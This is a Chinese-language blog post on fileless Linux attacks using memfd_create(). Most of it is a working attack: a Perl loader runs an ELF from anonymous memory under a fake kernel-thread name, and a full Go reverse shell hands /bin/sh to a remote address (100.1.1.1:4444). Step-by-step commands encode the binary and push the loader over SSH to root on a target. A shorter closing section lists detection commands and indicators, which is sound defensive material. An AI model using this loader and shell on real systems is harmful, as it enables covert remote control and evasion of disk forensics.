memfd_create()

无文件恶意软件是设计来注入到正在运行的Linux系统,在磁盘没有留下任何痕迹。实现这一目标的方法有很多,但以下是一些比较有名的策略:

  • 执行二进制文件并从磁盘中删除它自己。
  • 代码注入到运行中的服务器,不写磁盘(例如,制作一个PHP服务器运行你输入的恶意php代码)。
  • 使用ptrace()等调试调用附加到正在运行的进程,并将代码插入内存空间中执行。
  • 使用memfd_create()等调用在RAM中创建一个可运行的匿名文件。

memfd_create()调用允许你在Linux上创建内存驻留文件。这就像是把文件保存到RAM而不是文件系统本身。一旦完成此操作,就可以引用驻留内存的文件,并使其像使用标准磁盘目录中的任何文件一样运行。官网手册man page describes

1
memfd_create() creates an anonymous file and returns a file descriptor that refers to it.  The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on.  However, unlike a regular file, it lives in RAM and has a volatile backing storage.

类比在Linux主机上调用/bin/ls,替换成把ls加载到RAM中调用,并简单地将其称为/ls。 现在,像许多系统调用一样,出于性能原因,它可以有合法的用途。然而,它也可能被恶意软件滥用,不希望被看到。此外,如果系统重新启动或被关闭的恶意软件被立即删除,这对于希望保护自己不被发现的入侵者来说是有价值的。

执行攻击

参考:https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

elfload.pl.head

1
#!/usr/bin/env perl
2
use warnings;
3
use strict;
4
5
$|=1;
6
7
my $name = "";
8
my $fd = syscall(319, $name, 1);
9
if (-1 == $fd) {
10
        die "memfd_create: $!";
11
}
12
13
open(my $FH, '>&='.$fd) or die "open: $!";
14
select((select($FH), $|=1)[0]);
15
16
print "Writing ELF binary to memory...";

elfload.pl.tail,ip需要改成需要反弹的ip

1
# Execute new program
2
exec {"/proc/$$/fd/$fd"} "[kworded/0:0]", "-addr", "100.1.1.1:4444" or die "exec: $!";

反弹shell

1
package main
2
3
/*
4
 * demoshell.go
5
 * Simple reverse shell used in demos
6
 * By J. Stuart McMurray
7
 * Created 20180331
8
 * Last Modified 20180331
9
 */
10
11
import (
12
        "flag"
13
        "fmt"
14
        "log"
15
        "net"
16
        "os"
17
        "os/exec"
18
        "time"
19
)
20
21
/* Verbose logger */
22
var vlog = log.Printf
23
24
func main() {
25
        var (
26
                addr = flag.String(
27
                        "addr",
28
                        "127.0.0.1:4444",
29
                        "Callback `adress`",
30
                )
31
                sleep = flag.Duration(
32
                        "sleep",
33
                        2*time.Second,
34
                        "Sleep `duration` between callbacks",
35
                )
36
                verbose = flag.Bool(
37
                        "v",
38
                        false,
39
                        "Print message for each connection",
40
                )
41
        )
42
        flag.Usage = func() {
43
                fmt.Fprintf(
44
                        os.Stderr,
45
                        `Usage %v [options]
46
Calls the address every so often and hooks up a shell to the network
47
connection.
48
Options:
49
`,
50
                        os.Args[0],
51
                )
52
                flag.PrintDefaults()
53
        }
54
        flag.Parse()
55
56
        /* Unverbose just disables extra logging */
57
        if !*verbose {
58
                vlog = func(string, ...interface{}) {}
59
        }
60
61
        log.Printf("Starting shell callbacks to %v", *addr)
62
63
        for {
64
                /* Try to make a shell */
65
                if err := shell(*addr); nil != err {
66
                        vlog("Error: %v", err)
67
                }
68
                /* Sleep until the next one */
69
                time.Sleep(*sleep)
70
        }
71
}
72
73
/* shell connects to addr and hands it a shell */
74
func shell(addr string) error {
75
        /* Try to connect */
76
        c, err := net.Dial("tcp", addr)
77
        if nil != err {
78
                return err
79
        }
80
        vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr())
81
        defer c.Close()
82
83
        /* Make a shell to hook up */
84
        s := exec.Command("/bin/sh")
85
        s.Stdin = c
86
        s.Stdout = c
87
        s.Stderr = c
88
89
        /* Welcome the user */
90
        fmt.Fprintf(c, "Welcome!\n")
91
92
        /* Start the shell */
93
        return s.Run()
94
}

编译成二进制

1
go build -o demoshel demoshell.go

具体攻击步骤:

1
1. cat elfload.pl.head | tee elfload.pl
2
2. perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' demoshell >> elfload.pl
3
3. cat elfload.pl.tail | tee -a elfload.pl
4
4. cat elfload.pl | ssh root@10.1.1.2 /bin/bash -c 'perl'

检测Fileless Linux Attacks

1
ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\)

此命令遍历/proc目录,查找所有正在运行的进程,看它们是否有一个形如:memfd:(deleted)的可执行路径。这个入口非常可疑,这种标识在无文件攻击很常见。

其他检测

根目录通常是在/root

comm和cmdline命令不一样。comm通常是一个数字(fd)。

maps中也有/memfd: (deleted)标志

检测总结

  • 打开怪异网络端口的进程。
  • 进程的名称试图看起来像一个内核线程。
  • 进程comm和cmdline文件没有引用相同的命令名
  • 进程通信只有一个字符长。
  • 进程当前工作目录在/root目录下。
  • Process exe指向删除的/memfd: ,而不是一个合法的二进制路径。
  • 进程maps文件显示相同的删除位置,而不是合法的二进制路径。
  • 进程环境显示SSH连接启动了这个奇怪的删除进程。